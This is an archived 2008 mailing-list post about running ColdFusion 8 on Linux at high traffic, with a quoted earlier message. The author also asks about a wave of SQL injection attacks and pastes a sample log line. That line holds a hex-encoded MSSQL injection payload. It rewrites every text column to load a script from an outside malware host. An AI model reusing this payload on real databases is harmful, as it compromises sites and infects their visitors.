Thanks for the update. We've been running CF8 for a few months now with no problems. Approximately 1.5M CF pages a day on a single server. The server is barely breaking a sweat too... I suspect we could probably do 50% more traffic on this machine without major performance issues. We use lots of caching.
178 days now without a reboot. Haven't had a single crash since we switched to CF8. Needless to say, very impressed! Totally unrelated: has anyone seen massive SQL injection attacks over the last few days / weeks? We're getting tens of thousands of injection attacks from hundreds of different IPs each day. It started off slow, but now they're coming in like mad. It has almost become a DOS attack now over the past 24 hrs. The injection attacks don't worry me -- we're well coded against them (and these seem to be MSSQL attacks). But the sheer volume of traffic being generated is starting to get a little worrisome. Does anyone know more about where this attack is coming from? Is it a centrally controlled attack, a worm, ...? Here is a typical attack: 70.156.129.101 - - [07/Aug/2008:17:12:33 -0500] "GET /path/template.cfm?gid=1074';[EMAIL PROTECTED](4000);[EMAIL PROTECTED](0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626 C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E7874797 0653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C452 8404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F6 3737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F736372697 0743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/ 1.1" 200 36 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)" Regards Terry --- On Fri, 8/1/08, Wil Genovese <[EMAIL PROTECTED]> wrote: > From: Wil Genovese <[EMAIL PROTECTED]> > Subject: Re: CF8 on linux -- who's running it on large sites? > To: "CF-Linux" <[email protected]> > Date: Friday, August 1, 2008, 6:14 PM > > Hey folks, > > > > Looks like this list is pretty quiet nowadays. > > > > We're about ready to upgrade to CF8 from CF6.1, > mainly for the > > performance improvements. > > > > We never upgraded from CF6.1 to 7 because 6.1 frankly > runs just great > > and we use a pretty small and optimized set of > features, but the juicy > > performance metrics of 8 look to be well worth it. > > > > I'm just curious as to how many of you larger > linux implementations > > are running CFMX 8 right now, and what your experience > has been > > stability-wise, and whether you ran into any > compatibility or > > connector issues. > > > > Regards > > Terry > > I just thought I would post an update on this since peoples > are wondering about high traffic sites.
